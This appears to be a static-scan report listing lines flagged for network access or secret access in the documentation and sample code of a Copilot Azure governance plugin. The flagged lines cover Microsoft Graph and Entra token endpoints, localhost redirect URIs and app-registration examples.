- [Azure Advisor Documentation](https://learn.microsoft.com/azure/advisor/) - Network accessline 174
- [Defender for Cloud Recommendations](https://learn.microsoft.com/azure/defender-for-cloud/recommendations-reference)
harness/github-copilot/plugins/azure-governance/skills/azure-compliance/references/azqr-remediation-patterns.md
- Network accessline 375
- [Azure CLI Reference](https://learn.microsoft.com/cli/azure/) - Network accessline 376
- [Bicep Documentation](https://learn.microsoft.com/azure/azure-resource-manager/bicep/) - Network accessline 377
- [Azure Policy Built-in Definitions](https://learn.microsoft.com/azure/governance/policy/samples/built-in-policies)
harness/github-copilot/plugins/azure-governance/skills/azure-compliance/references/azure-quick-review.md
- Network accessline 154
- [Recommendation Categories](azqr-recommendations.md) - [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - Network accessline 155
- [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - [Azure Proactive Resiliency Library](https://aka.ms/aprl) - Network accessline 156
- [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - Network accessline 157
- [Azure Proactive Resiliency Library](https://aka.ms/aprl)
harness/github-copilot/plugins/azure-governance/skills/azure-compliance/references/sdk/azure-keyvault-keys-ts.md
- Network accessline 12
import { KeyClient } from "@azure/keyvault-keys"; import { DefaultAzureCredential } from "@azure/identity"; const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential()); - Network accessline 14
const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential());
harness/github-copilot/plugins/azure-governance/skills/azure-entra-agent-id/SKILL.md
- Network accessline 17
|----------|-------| | Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | - Network accessline 18
| Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | | Required role | Agent Identity Developer, Agent Identity Administrator, or Application Administrator | - Network accessline 19
| API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | - Access to secretsline 112
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted] - Network accessline 114
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Network accessline 116
[Credential-related source omitted] - Network accessline 118
GRAPH = "https://graph.microsoft.com/v1.0" - Network accessline 142
"displayName": "My Agent Blueprint", "sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 143
"sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" ], - Network accessline 144
f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 145
], } resp = requests.post( - Network accessline 146
} resp = requests.post( f"{GRAPH}/applications/microsoft.graph.agentIdentityBlueprint", - Network accessline 147
resp = requests.post( - Network accessline 164
sp_body = {"appId": app_id} resp = requests.post( - Network accessline 165
resp = requests.post( - Network accessline 181
"agentIdentityBlueprintId": app_id, "sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 182
"sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" ], - Network accessline 183
f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 184
], } resp = requests.post( - Network accessline 185
} resp = requests.post( f"{GRAPH}/servicePrincipals/microsoft.graph.agentIdentity", - Network accessline 186
resp = requests.post( - Network accessline 224
graph_sp = requests.get( - Network accessline 231
requests.post( - Network accessline 249
requests.post( - Network accessline 286
Base URL: `https://graph.microsoft.com/v1.0`. - Network accessline 351
| Resource | URL | |----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | - Network accessline 352
|----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | | AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai- - Network accessline 353
| Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | - Network accessline 354
| AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai-guided-setup | - Network accessline 355
| Microsoft Entra SDK for AgentID | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | - Network accessline 356
| Microsoft.Identity.Web.AgentIdentities (.NET) | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.AgentIdentities/README.AgentIdentities.md |
harness/github-copilot/plugins/azure-governance/skills/azure-entra-agent-id/references/known-limitations.md
- Network accessline 3
Source: [Microsoft Entra Agent ID — known issues and gaps](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/preview-known-issues) - Network accessline 51
27. **Copilot Studio** — only custom engine agents are supported; Agent IDs are used for channel auth only (not connectors or tools). 28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For - Network accessline 52
28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For .NET use [Microsoft.Identity.Web.AgentIdentities](https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identit - Network accessline 56
Report unlisted issues via [aka.ms/agentidfeedback](https://aka.ms/agentidfeedback).
harness/github-copilot/plugins/azure-governance/skills/azure-entra-agent-id/references/oauth2-token-flow.md
- Network accessline 3
Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions) - Network accessline 21
requests.patch( - Network accessline 33
fic_body = { "name": "my-fic-name", "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0", - Network accessline 34
"name": "my-fic-name", "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0", "subject": mi_principal_id, # The MI's object ID (principalId), NOT client ID - Network accessline 35
"issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0", - Network accessline 37
"audiences": ["api://AzureADTokenExchange"], } requests.post( - Network accessline 38
} requests.post( f"{GRAPH}/applications/{blueprint_obj_id}" - Network accessline 39
requests.post( - Network accessline 62
jwks_client = PyJWKClient( f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys" - Network accessline 63
f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys" - Network accessline 70
algorithms=["RS256"], audience=f"api://{blueprint_app_id}", issuer=f"https://sts.windows.net/{tenant_id}/", - Network accessline 71
audience=f"api://{blueprint_app_id}", issuer=f"https://sts.windows.net/{tenant_id}/", ) - Network accessline 72
issuer=f"https://sts.windows.net/{tenant_id}/", - Network accessline 79
- **`subject`** is the MI's `principalId` (object ID), not its client ID. - **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - Network accessline 80
- **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different d - Network accessline 81
- **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - Network accessline 82
- **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different domain, trailing slash). - Network accessline 100
$credential = Invoke-MgGraphRequest -Method POST ` -Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" ` - Network accessline 101
-Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" ` - Network accessline 111
resp = requests.post(
harness/github-copilot/plugins/azure-governance/skills/azure-entra-agent-id/references/obo-blueprint-setup.md
- Network accessline 39
}, } requests.patch( - Network accessline 40
} requests.patch( f"{GRAPH}/applications/{blueprint_obj_id}", - Network accessline 41
requests.patch( - Network accessline 63
requests.post( - Network accessline 82
tenant_id=tenant_id, client_id=client_app_id, # Your client app, NOT the Blueprint redirect_uri="http://localhost:8400", - Network accessline 83
client_id=client_app_id, # Your client app, NOT the Blueprint redirect_uri="http://localhost:8400", ) - Network accessline 84
redirect_uri="http://localhost:8400", - Network accessline 89
> If the user token targets `https://graph.microsoft.com` instead of the Blueprint, the OBO exchange returns `AADSTS50013: Assertion failed signature validation`.
harness/github-copilot/plugins/azure-governance/skills/azure-entra-agent-id/references/runtime-token-exchange.md
- Network accessline 3
Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions) - Network accessline 8
Step 1: Blueprint credentials + fmi_path → Parent token (aud: api://AzureADTokenExchange) Step 2: Parent token as client_assertion → Graph token (aud: https://graph.microsoft.com) - Network accessline 9
Step 2: Parent token as client_assertion → Graph token (aud: https://graph.microsoft.com) - Network accessline 19
TOKEN_URL = "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" - Access to secretsline 31
[Credential-related source omitted] - Network accessline 34
} data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( - Network accessline 35
data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( TOKEN_URL.format(tenant=tenant_id), data=data, - Network accessline 36
req = urllib.request.Request( - Network accessline 38
headers={"Content-Type": "application/x-www-form-urlencoded"}, ) with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 39
) with urllib.request.urlopen(req, timeout=10) as resp: return json.loads(resp.read())["access_token"] - Network accessline 40
with urllib.request.urlopen(req, timeout=10) as resp: - Access to secretsline 41
[Credential-related source omitted] - Network accessline 47
|-------|-------| | `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | - Network accessline 48
| `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | | `sub` | Blueprint SP object ID | - Network accessline 49
| `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | - Access to secretsline 58
[Credential-related source omitted] - Network accessline 86
"client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer", "client_assertion": parent_token, "scope": "https://graph.microsoft.com/.default", - Network accessline 87
"client_assertion": parent_token, "scope": "https://graph.microsoft.com/.default", } - Network accessline 88
"scope": "https://graph.microsoft.com/.default", } data = urllib.parse.urlencode(params).encode("utf-8") - Network accessline 89
} data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( - Network accessline 90
data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( TOKEN_URL.format(tenant=tenant_id), data=data, - Network accessline 91
req = urllib.request.Request( - Network accessline 93
headers={"Content-Type": "application/x-www-form-urlencoded"}, ) with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 94
) with urllib.request.urlopen(req, timeout=10) as resp: return json.loads(resp.read()) - Network accessline 95
with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 115
"assertion": user_token, "requested_token_use": "on_behalf_of", "scope": "https://graph.microsoft.com/.default", - Network accessline 116
"requested_token_use": "on_behalf_of", "scope": "https://graph.microsoft.com/.default", } - Network accessline 117
"scope": "https://graph.microsoft.com/.default", } data = urllib.parse.urlencode(params).encode("utf-8") - Network accessline 118
} data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( - Network accessline 119
data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( TOKEN_URL.format(tenant=tenant_id), data=data, - Network accessline 120
req = urllib.request.Request( - Network accessline 122
headers={"Content-Type": "application/x-www-form-urlencoded"}, ) with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 123
) with urllib.request.urlopen(req, timeout=10) as resp: return json.loads(resp.read()) - Network accessline 124
with urllib.request.urlopen(req, timeout=10) as resp:
harness/github-copilot/plugins/azure-governance/skills/azure-entra-agent-id/references/sdk-sidecar-deployment.md
- Network accessline 13
[Credential-related source omitted] - Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 14
[Credential-related source omitted] - Network accessline 16
def get_agent_token(downstream_api: str = "Graph") -> str: url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}" resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30) - Network accessline 17
url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}" resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30) resp.raise_for_status() - Network accessline 18
resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30) - Network accessline 22
[Credential-related source omitted] - Network accessline 23
[Credential-related source omitted] - Network accessline 24
[Credential-related source omitted] - Network accessline 32
[Credential-related source omitted] - Network accessline 33
url = f"{SIDECAR_URL}/AuthorizationHeader/{downstream_api}" resp = requests.get( url, - Network accessline 34
resp = requests.get( - Network accessline 46
const SIDECAR_URL = process.env.SIDECAR_URL ?? "http://localhost:5000"; - Network accessline 56
const res = await fetch(url.toString()); - Network accessline 71
[Credential-related source omitted] - Network accessline 72
resp = requests.get( - Network accessline 84
[Credential-related source omitted] - Network accessline 85
resp = requests.get( - Network accessline 105
- "5001:5000" environment: - AzureAd__Instance=https://login.microsoftonline.com/ - Network accessline 106
environment: - AzureAd__Instance=https://login.microsoftonline.com/ - AzureAd__TenantId=${TENANT_ID} - Network accessline 107
- AzureAd__Instance=https://login.microsoftonline.com/ - Network accessline 110
- AzureAd__ClientCredentials__0__SourceType=ClientSecret - AzureAd__ClientCredentials__0__ClientSecret=${BLUEPRINT_CLIENT_SECRET} - DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/ - Network accessline 111
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Network accessline 112
- DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/ - Network accessline 113
- DownstreamApis__Graph__Scopes__0=https://graph.microsoft.com/.default - Network accessline 115
- ASPNETCORE_URLS=http://+:5000 - Network accessline 120
- "3000:3000" environment: - SIDECAR_URL=http://sidecar:5000 - Network accessline 121
environment: - SIDECAR_URL=http://sidecar:5000 - AGENT_CLIENT_ID=${AGENT_CLIENT_ID} - Network accessline 122
- SIDECAR_URL=http://sidecar:5000 - Network accessline 147
env: - name: SIDECAR_URL value: "http://localhost:5000" - Network accessline 148
- name: SIDECAR_URL value: "http://localhost:5000" - name: sidecar - Network accessline 149
value: "http://localhost:5000" - Network accessline 166
value: "SignedAssertionFilePath" - name: Kestrel__Endpoints__Http__Url value: "http://127.0.0.1:5000" - Network accessline 167
- name: Kestrel__Endpoints__Http__Url value: "http://127.0.0.1:5000" resources: - Network accessline 168
value: "http://127.0.0.1:5000" resources: requests: { memory: "128Mi", cpu: "100m" } - Network accessline 184
1. **Bind to localhost** — `Kestrel__Endpoints__Http__Url=http://127.0.0.1:5000`
harness/github-copilot/plugins/azure-governance/skills/azure-entra-agent-id/references/sdk-sidecar.md
- Network accessline 5
Image: `mcr.microsoft.com/entra-sdk/auth-sidecar:1.0.0-azurelinux3.0-distroless`. See [GitHub releases](https://github.com/AzureAD/microsoft-identity-web/releases) for tags. - Network accessline 48
env: - name: AzureAd__Instance value: "https://login.microsoftonline.com/" - Network accessline 49
- name: AzureAd__Instance value: "https://login.microsoftonline.com/" - name: AzureAd__TenantId - Network accessline 50
value: "https://login.microsoftonline.com/" - Network accessline 82
- name: DownstreamApis__Graph__BaseUrl value: "https://graph.microsoft.com/v1.0/" - Network accessline 83
value: "https://graph.microsoft.com/v1.0/" - Network accessline 84
- name: DownstreamApis__Graph__Scopes__0 value: "https://graph.microsoft.com/.default" - name: DownstreamApis__Graph__RequestAppToken - Network accessline 85
value: "https://graph.microsoft.com/.default" - Network accessline 117
| Resource | URL | |----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | - Network accessline 118
|----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | | Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation | - Network accessline 119
| SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | - Network accessline 120
| Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation | - Network accessline 121
| Configuration | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/configuration | - Network accessline 122
| Endpoints | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/endpoints | - Network accessline 123
| Agent Identities | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/agent-identities | - Network accessline 124
| Security | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/security | - Network accessline 125
| OpenAPI Spec | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.Sidecar/OpenAPI/Microsoft.Identity.Web.AgentID.json |
harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/SKILL.md
- Network accessline 67
- **Web Apps**: Add redirect URIs, enable ID tokens if needed - **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - Network accessline 68
- **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - **Services**: No redirect URI needed for client credentials flow - Network accessline 69
- **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - Network accessline 199
- [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/) - Network accessline 200
- [OAuth 2.0 and OpenID Connect protocols](https://learn.microsoft.com/entra/identity-platform/v2-protocols) - Network accessline 201
- [MSAL Documentation](https://learn.microsoft.com/entra/msal/) - Network accessline 202
- [Microsoft Graph API](https://learn.microsoft.com/graph/)
harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/BICEP-EXAMPLE.bicep
- Network accessline 18
@description('Redirect URIs for web application') param webRedirectUris array = [ 'https://localhost:5001/signin-oidc' - Network accessline 19
param webRedirectUris array = [ 'https://localhost:5001/signin-oidc' 'https://myapp.azurewebsites.net/signin-oidc' - Network accessline 20
'https://localhost:5001/signin-oidc' - Network accessline 21
'https://myapp.azurewebsites.net/signin-oidc' - Network accessline 24
@description('Redirect URIs for single-page application') param spaRedirectUris array = [ 'http://localhost:3000' - Network accessline 25
param spaRedirectUris array = [ 'http://localhost:3000' 'https://myapp.azurewebsites.net' - Network accessline 26
'http://localhost:3000' - Network accessline 27
'https://myapp.azurewebsites.net' - Network accessline 53
enableAccessTokenIssuance: false } homePageUrl: 'https://myapp.azurewebsites.net' - Network accessline 54
} homePageUrl: 'https://myapp.azurewebsites.net' logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc' - Network accessline 55
homePageUrl: 'https://myapp.azurewebsites.net' - Network accessline 56
logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc' - Network accessline 65
publicClient: { redirectUris: [ 'http://localhost' - Network accessline 66
redirectUris: [ 'http://localhost' 'myapp://auth' - Network accessline 67
'http://localhost' - Network accessline 68
'myapp://auth' 'https://login.microsoftonline.com/common/oauth2/nativeclient' ] - Network accessline 69
'https://login.microsoftonline.com/common/oauth2/nativeclient' - Network accessline 175
// Information URLs info: { marketingUrl: 'https://myapp.example.com' - Network accessline 176
info: { marketingUrl: 'https://myapp.example.com' privacyStatementUrl: 'https://myapp.example.com/privacy' - Network accessline 177
marketingUrl: 'https://myapp.example.com' - Network accessline 178
privacyStatementUrl: 'https://myapp.example.com/privacy' - Network accessline 179
supportUrl: 'https://myapp.example.com/support' - Network accessline 180
termsOfServiceUrl: 'https://myapp.example.com/terms'
harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/api-permissions.md
- Network accessline 49
Examples: https://graph.microsoft.com/User.Read - Network accessline 50
https://graph.microsoft.com/User.Read - Network accessline 51
https://graph.microsoft.com/Mail.Send - Network accessline 60
https://graph.microsoft.com/.default - Network accessline 134
1. Visit https://developer.microsoft.com/graph/graph-explorer - Network accessline 140
Visit: https://learn.microsoft.com/en-us/graph/permissions-reference - Network accessline 258
[Credential-related source omitted] - Network accessline 259
[Credential-related source omitted] - Network accessline 334
**Note:** Permission IDs may change. Always verify against the official [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference) for the most current values. - Network accessline 338
- [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference) - Network accessline 339
- [Permission Types](https://learn.microsoft.com/en-us/entra/identity-platform/permissions-consent-overview) - Network accessline 340
- [Admin Consent Workflow](https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-admin-consent-workflow) - Network accessline 341
- [Consent Framework](https://learn.microsoft.com/en-us/entra/identity-platform/consent-framework)
harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/cli-commands.md
- Network accessline 29
az ad app create \ --display-name "MyWebApp" \ --web-redirect-uris "https://myapp.com/callback" \ - Network accessline 30
--display-name "MyWebApp" \ --web-redirect-uris "https://myapp.com/callback" \ --sign-in-audience "AzureADMyOrg" - Network accessline 31
--web-redirect-uris "https://myapp.com/callback" \ - Network accessline 37
az ad app create \ --display-name "MySpaApp" \ --spa-redirect-uris "http://localhost:3000" \ - Network accessline 38
--display-name "MySpaApp" \ --spa-redirect-uris "http://localhost:3000" \ --sign-in-audience "AzureADMyOrg" - Network accessline 39
--spa-redirect-uris "http://localhost:3000" \ - Network accessline 45
az ad app create \ --display-name "MyDesktopApp" \ --public-client-redirect-uris "http://localhost" \ - Network accessline 46
--display-name "MyDesktopApp" \ --public-client-redirect-uris "http://localhost" \ --sign-in-audience "AzureADMyOrg" - Network accessline 47
--public-client-redirect-uris "http://localhost" \ - Network accessline 53
az ad app create \ --display-name "MyMultiTenantApp" \ --web-redirect-uris "https://myapp.com/callback" \ - Network accessline 54
--display-name "MyMultiTenantApp" \ --web-redirect-uris "https://myapp.com/callback" \ --sign-in-audience "AzureADMultipleOrgs" - Network accessline 55
--web-redirect-uris "https://myapp.com/callback" \ - Network accessline 116
az ad app update --id $APP_ID \ --web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth" - Network accessline 117
--web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth" - Network accessline 122
az ad app update --id $APP_ID \ --spa-redirect-uris "http://localhost:3000" "http://localhost:5000" - Network accessline 123
--spa-redirect-uris "http://localhost:3000" "http://localhost:5000" - Network accessline 128
az ad app update --id $APP_ID \ --public-client-redirect-uris "http://localhost" "myapp://auth" - Network accessline 129
--public-client-redirect-uris "http://localhost" "myapp://auth" - Network accessline 364
# Variables APP_NAME="MyApplication" REDIRECT_URI="http://localhost:3000" - Network accessline 366
REDIRECT_URI="http://localhost:3000"
harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/console-app-example.md
- Network accessline 44
.Create(ClientId) .WithAuthority(AzureCloudInstance.AzurePublic, TenantId) .WithRedirectUri("http://localhost") - Network accessline 45
.WithAuthority(AzureCloudInstance.AzurePublic, TenantId) .WithRedirectUri("http://localhost") .Build(); - Network accessline 46
.WithRedirectUri("http://localhost") - Network accessline 87
var response = await httpClient.GetAsync("https://graph.microsoft.com/v1.0/me"); - Network accessline 139
CLIENT_ID = "YOUR_APPLICATION_CLIENT_ID" TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" - Network accessline 140
TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" SCOPES = ["User.Read"] - Network accessline 141
AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted] - Network accessline 197
response = requests.get( - Network accessline 198
'https://graph.microsoft.com/v1.0/me', - Access to secretsline 226
[Credential-related source omitted] - Access to secretsline 231
[Credential-related source omitted] - Network accessline 268
auth: { clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Network accessline 269
clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", } - Network accessline 270
authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Network accessline 280
const authCodeUrlParameters = { scopes: scopes, redirectUri: "http://localhost:3000", - Network accessline 281
scopes: scopes, redirectUri: "http://localhost:3000", }; - Network accessline 282
redirectUri: "http://localhost:3000", - Network accessline 308
auth: { clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Network accessline 309
clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", clientSecret: "YOUR_CLIENT_SECRET", // From app registration - Network accessline 310
authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Access to secretsline 311
[Credential-related source omitted] - Network accessline 317
const clientCredentialRequest = { scopes: ["https://graph.microsoft.com/.default"], - Network accessline 318
scopes: ["https://graph.microsoft.com/.default"], - Network accessline 333
try { const response = await axios.get('https://graph.microsoft.com/v1.0/me', options); - Network accessline 334
const response = await axios.get('https://graph.microsoft.com/v1.0/me', options); - Network accessline 392
- [MSAL Libraries](https://learn.microsoft.com/entra/msal/)
harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/first-app-registration.md
- Network accessline 16
- Azure subscription (free tier works) - Azure Portal access: https://portal.azure.com - Network accessline 17
- Azure Portal access: https://portal.azure.com - Network accessline 22
1. Open [Azure Portal](https://portal.azure.com) - Network accessline 58
**URI examples:** - Web app: `https://localhost:5001/signin-oidc` - Network accessline 59
- Web app: `https://localhost:5001/signin-oidc` - Network accessline 60
- SPA: `http://localhost:3000` - Network accessline 61
- Console/Desktop: `http://localhost` - Network accessline 63
**For your first app:** Select **"Public client/native"** and enter `http://localhost` - Access to secretsline 168
[Credential-related source omitted] - Network accessline 187
# Interactive login az login --scope "https://graph.microsoft.com/.default" - Network accessline 188
az login --scope "https://graph.microsoft.com/.default" - Network accessline 190
# Get an access token az account get-access-token --resource "https://graph.microsoft.com" - Network accessline 191
az account get-access-token --resource "https://graph.microsoft.com" - Network accessline 213
**Tip:** Once you get the access token, you can use [jwt.ms](https://jwt.ms) to decode it and inspect its claims. - Network accessline 251
- [Microsoft Entra ID Documentation](https://learn.microsoft.com/en-us/entra/identity-platform/)
harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/oauth-flows.md
- Network accessline 26
https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize? - Network accessline 50
https://your-app.com/callback? - Network accessline 62
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted] - Network accessline 87
GET https://graph.microsoft.com/v1.0/me - Access to secretsline 88
[Credential-related source omitted] - Network accessline 126
https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize? - Network accessline 139
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Network accessline 177
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Network accessline 180
client_id={application_id} &scope=https://graph.microsoft.com/.default - Network accessline 181
&scope=https://graph.microsoft.com/.default - Access to secretsline 182
[Credential-related source omitted] - Network accessline 186
**Parameters:** - `scope`: Use `{resource}/.default` format - For Microsoft Graph: `https://graph.microsoft.com/.default` - Network accessline 187
- `scope`: Use `{resource}/.default` format - For Microsoft Graph: `https://graph.microsoft.com/.default` - For your API: `api://{api_app_id}/.default` - Network accessline 188
- For Microsoft Graph: `https://graph.microsoft.com/.default` - Access to secretsline 194
[Credential-related source omitted] - Network accessline 203
GET https://graph.microsoft.com/v1.0/users - Access to secretsline 204
[Credential-related source omitted] - Network accessline 228
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode - Network accessline 238
"user_code": "GTHK-QPMN", "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8", "verification_uri": "https://microsoft.com/devicelogin", - Network accessline 239
"device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8", "verification_uri": "https://microsoft.com/devicelogin", "expires_in": 900, - Network accessline 240
"verification_uri": "https://microsoft.com/devicelogin", - Network accessline 241
"expires_in": 900, "interval": 5, "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." - Network accessline 242
"interval": 5, "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." } - Network accessline 243
"message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." - Network accessline 250
To sign in, open https://microsoft.com/devicelogin - Network accessline 257
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Access to secretsline 278
[Credential-related source omitted] - Network accessline 299
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Access to secretsline 306
